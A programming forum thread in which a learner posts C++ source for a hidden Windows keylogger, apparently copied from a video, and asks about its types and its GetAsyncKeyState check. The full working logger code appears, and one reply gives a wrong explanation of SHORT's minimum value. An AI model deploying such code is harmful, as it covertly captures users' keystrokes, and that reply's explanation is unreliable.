Keylogger (Educational purposes)

First of all this is for educational purposes nothing more! Secondly this is NOT MY CODE this is from random youtube video! So i have a few questions about it (I know this code can be written 10 times better).

1. Why is key variable a char type instead of int? And why is it in for loop transformed into int from char and equals to 8 without ' ' between it if it is char type? Like why is this correct just changing from char to int?

2.I know few things about Ascii Table but if someone could explain second for loop with variable i in it. And why function GetAsyncKeyState(i) must be equal to this number -32767?

There are also some functions I am new with but that I will learn myself. Ty for any help in advance!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

int Save(int _key, char *file);

int main()
{
	FreeConsole();
	
	char i;
	
	while(true){
		Sleep(10);
		for(int i = 8; i <= 255;i++){
			if(GetAsyncKeyState(i) == -32767){
				Save(i,"log.txt");
			}
		}
	}
	return 0;
}

int Save(int _key, char *file){
	cout << _key << endl;
	
	Sleep(10);
	
	FILE *OUTPUT_FILE;
	
	OUTPUT_FILE = fopen(file,"a+");
 	if (_key == VK_SHIFT)
 	 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	 // ===========    MOUSE   =======================
	else if (_key == VK_LBUTTON)
	  fprintf(OUTPUT_FILE, "%s", "[LMB]");
 	else if (_key == VK_RBUTTON)
	  fprintf(OUTPUT_FILE, "%s", "[RMB]");
    else if (_key == VK_MBUTTON)
 	 fprintf(OUTPUT_FILE, "%s", "[MMB]");
	 // ===========    =======================
	else if (_key == VK_RETURN)
	  fprintf(OUTPUT_FILE, "%s", "[ENTER]");
	else if (_key == VK_ESCAPE)
	  fprintf(OUTPUT_FILE, "%s", "[ESC]");
 	else if (_key == VK_TAB)
 	  fprintf(OUTPUT_FILE, "%s", "[TAB]");
 	else if (_key == VK_BACK)
 	  fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
 	else if (_key == VK_LCONTROL)
 	  fprintf(OUTPUT_FILE, "%s", "[LCTRL]");
 	else if (_key == VK_RCONTROL)
 	  fprintf(OUTPUT_FILE, "%s", "[RCTRL]");
	else if (_key == VK_SPACE)
 	  fprintf(OUTPUT_FILE, "%s", "[SPACE]");
 	// ===========    NUMPAD    =======================
 	else if (_key == VK_NUMPAD0)
 	 fprintf(OUTPUT_FILE, "%s", "[Num0]");
 	else if (_key == VK_NUMPAD1)
 	 fprintf(OUTPUT_FILE, "%s", "[Num1]");
 	else if (_key == VK_NUMPAD2)
  	fprintf(OUTPUT_FILE, "%s", "[Num2]");
	 else if (_key == VK_NUMPAD3)
  	fprintf(OUTPUT_FILE, "%s", "[Num3]");
 	else if (_key == VK_NUMPAD4)
 	 fprintf(OUTPUT_FILE, "%s", "[Num4]");
 	else if (_key == VK_NUMPAD5)
  	fprintf(OUTPUT_FILE, "%s", "[Num5]");
	else if (_key == VK_NUMPAD6)
 	 fprintf(OUTPUT_FILE, "%s", "[Num6]");
 	else if (_key == VK_NUMPAD7)
 	 fprintf(OUTPUT_FILE, "%s", "[Num7]");
 	else if (_key == VK_NUMPAD8)
 	 fprintf(OUTPUT_FILE, "%s", "[Num8]");
	else if (_key == VK_NUMPAD9)
 	 fprintf(OUTPUT_FILE, "%s", "[Num9]");
 	// ===========    F1, F2, F3 etc.    =======================
	else if (_key == VK_F1)
  	 fprintf(OUTPUT_FILE, "%s", "[F1]");
 	else if (_key == VK_F2)
 	 fprintf(OUTPUT_FILE, "%s", "[F2]");
	else if (_key == VK_F3)
 	 fprintf(OUTPUT_FILE, "%s", "[F3]");
 	else if (_key == VK_F4)
  	 fprintf(OUTPUT_FILE, "%s", "[F4]");
 	else if (_key == VK_F5)
 	 fprintf(OUTPUT_FILE, "%s", "[F5]");
 	else if (_key == VK_F6)
 	 fprintf(OUTPUT_FILE, "%s", "[F6]");
	else if (_key == VK_F7)
 	 fprintf(OUTPUT_FILE, "%s", "[F7]");
 	else if (_key == VK_F8)
 	 fprintf(OUTPUT_FILE, "%s", "[F8]");
 	else if (_key == VK_F9)
 	 fprintf(OUTPUT_FILE, "%s", "[F9]");
 	else if (_key == VK_F10)
	 fprintf(OUTPUT_FILE, "%s", "[F10]");
 	else if (_key == VK_F11)
 	 fprintf(OUTPUT_FILE, "%s", "[F11]");
	else if (_key == VK_F12)
 	 fprintf(OUTPUT_FILE, "%s", "[F12]");
 	// ===========    ELSE   =======================
 	else
 	 fprintf(OUTPUT_FILE, "%s", &_key);
	
	return 0;
}
closed account (E0p9LyTq)
Why is key variable a char type instead of int?

variable _key is an int.

In main() the char i variable is at a different scope than the int i variable in the loop, two different i variables.

There is no change of char i to int i. Two different variables because of different scope.

char i is an unused variable at all scopes.

why function GetAsyncKeyState(i) must be equal to this number -32767?

The Windows function takes an int as input and returns a SHORT. What is the minimum value a SHORT can hold? -32767.

Why use that particular value to log the key? Time to look through the documentation of key codes.

And find out this video is done by someone who doesn't have a clue what they are doing.
http://www.cplusplus.com/forum/general/141404/
Why is key variable a char type instead of int?

_key is an int not a char.

And why is it in for loop transformed into int from char and equals to 8 without ' ' between it if it is char type?

This looks like you're talking about i not _key. Do you realize that in main() there are two different variables that are named i in different scopes that are different types.? The char i in the outer scope is not actually used. In the following snippet:

for(int i = 8; i <= 255;i++)
This is creating another variable named i that is an int and this int is only valid in the scope of the loop. The reason for the number 8 is that the first 8 characters are non-printable control characters (or mouse buttons) that can not normally be produced from the keyboard.

And why function GetAsyncKeyState(i) must be equal to this number -32767?

First did you read any documentation for this function?

This function is being used to get the state of the key (key up or key down) which is signified by the most significant bit all other bits are not relevant. And realize that the return value is a type short, not an int.
Last edited on
Thank you FurryGuy and Jlb for help i understand all now and for diffrent scopes i knew that but somehow forgot. Ty again!
Topic archived. No new replies allowed.